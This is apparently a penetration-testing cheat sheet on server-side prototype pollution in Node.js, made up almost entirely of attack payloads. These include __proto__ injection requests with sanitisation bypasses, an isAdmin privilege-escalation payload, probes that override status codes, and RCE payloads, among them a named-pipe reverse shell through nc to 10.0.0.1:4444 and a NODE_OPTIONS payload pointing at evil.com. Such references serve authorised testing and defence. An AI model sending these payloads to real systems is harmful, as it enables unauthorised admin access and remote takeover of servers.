# Prototype Pollution in Server-Side

Prototype Pollution is a JavaScript vulnerability that allows attackers to add arbitrary properties to global object prototypes. The vulnerability may exist in Node.js applications.

### Investigation <a href="#investigation" id="investigation"></a>

If the properties is affected by our pollution, our polluted properties might be injected into the target object as follow.

```shellscript
POST /user/update HTTP/1.1
Host: example.com
...

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "foo": "bar"
    }
}

// Other option
{
    "name": "john",
    "email": "john@example.com",
    "constructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}

// Bypass sanitization 1
{
    "name": "john",
    "email": "john@example.com",
    "__pro__proto__to__": {
        "foo": "bar"
    }
}

// Bypass sanitization 2
{
    "name": "john",
    "email": "john@example.com",
    "constconstructorructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}
```

If our property is added into the target object as below, we can inject malicious property which leads to privilege escalation, reverse shell, so on.

```shellscript
{
    "name": "john",
    "email": "john@example.com",
    "isAdmin": false,
    "foo": "bar"
}
```

### Privilege Escalation <a href="#privilege-escalation" id="privilege-escalation"></a>

```shellscript
{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "isAdmin": true
    }
}
```

### JSON Spaces Overriding <a href="#json-spaces-overriding" id="json-spaces-overriding"></a>

Inject the additional property whose key contains spaces, and send request.

```shellscript
POST /user/update HTTP/1.1

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "json spaces": 10
    }
}
```

In response, if indents is added at the json body as below, the polluted property affects the server.\
To check that in Burp Suite, click **Raw** tab in HTTP response window.

```shellscript
{
            "name": "john",
            "email": "john@example.com",
            "json spaces": 10
}
```

### Status Code Overriding <a href="#status-code-overriding" id="status-code-overriding"></a>

First off, cause syntax error deliberately by removing comma in the json body when sending POST request.

```shellscript
POST /user/update HTTP/1.1

{
    "name": "john"
    "email": "john@example.com"
}
```

Of course we receive the error response as json object that might contain **"status"** or **"statusCode"** like below.

```shellscript
{
    "error":{
        "status":500,
        "message":"Json parse error"
    }
}
```

Now we try to update the status code to arbitrary number (**400-599**) and observe if the status code will be changed.\
We need to send correct json format at the time because we want to apply our payload.

```shellscript
POST /user/update HTTP/1.1

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "status": 555
    }
}
```

Finally we can check if our polluted property affects the server status by sending the incorrect json format body again.

```shellscript
POST /user/update HTTP/1.1

{
    "name": "john"
    "email": "john@example.com"
}
```

If the server responses the error contains the modified status code, the vulnerability of the prototype pollution exists in the web server.

```shellscript
{
    "error":{
        "status":555,
        "message":"Json parse error"
    }
}
```

### Remote Code Execution (RCE) <a href="#remote-code-execution-rce" id="remote-code-execution-rce"></a>

Reference: <https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce>

It may often occur in the **`child_process`** module in Node.

```shellscript
"__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--inspect=evil\"\".com"
}
```

* **shell**: It enables us to set a specific shell such as **`sh`**, **`bash`**, in which to run commands.
* **NODE\_OPTIONS**: The environment variable that defines the command-line arguments.

#### RCE via child\_process.spawn(), child\_process.fork() <a href="#rce-via-child_processspawn-child_processfork" id="rce-via-child_processspawn-child_processfork"></a>

```shellscript
"__proto__": {
    "execArgv": [
        "--eval=require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')"
]}
```

#### Overwrite Environment Variable <a href="#overwrite-environment-variable" id="overwrite-environment-variable"></a>

Below also can be achieved.

```shellscript
"constructor":{
    "prototype":{
        "env":{
            "xyz":"require('child_process').execSync('whoami').toString()"
        },
        "NODE_OPTIONS":"--require /proc/self/environ"
    }
}
```

* **`env`**\
  Set the value of the `xyz` to environment variables.
* **`--require /proc/self/environ`**\
  Inject environment variables from the current process as a module.

### References <a href="#references" id="references"></a>

* [PortSwigger](https://portswigger.net/web-security/prototype-pollution/server-side)
* [HackTricks](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce)
* [Snyk](https://security.snyk.io/vuln/SNYK-JS-MERGE-1040469)
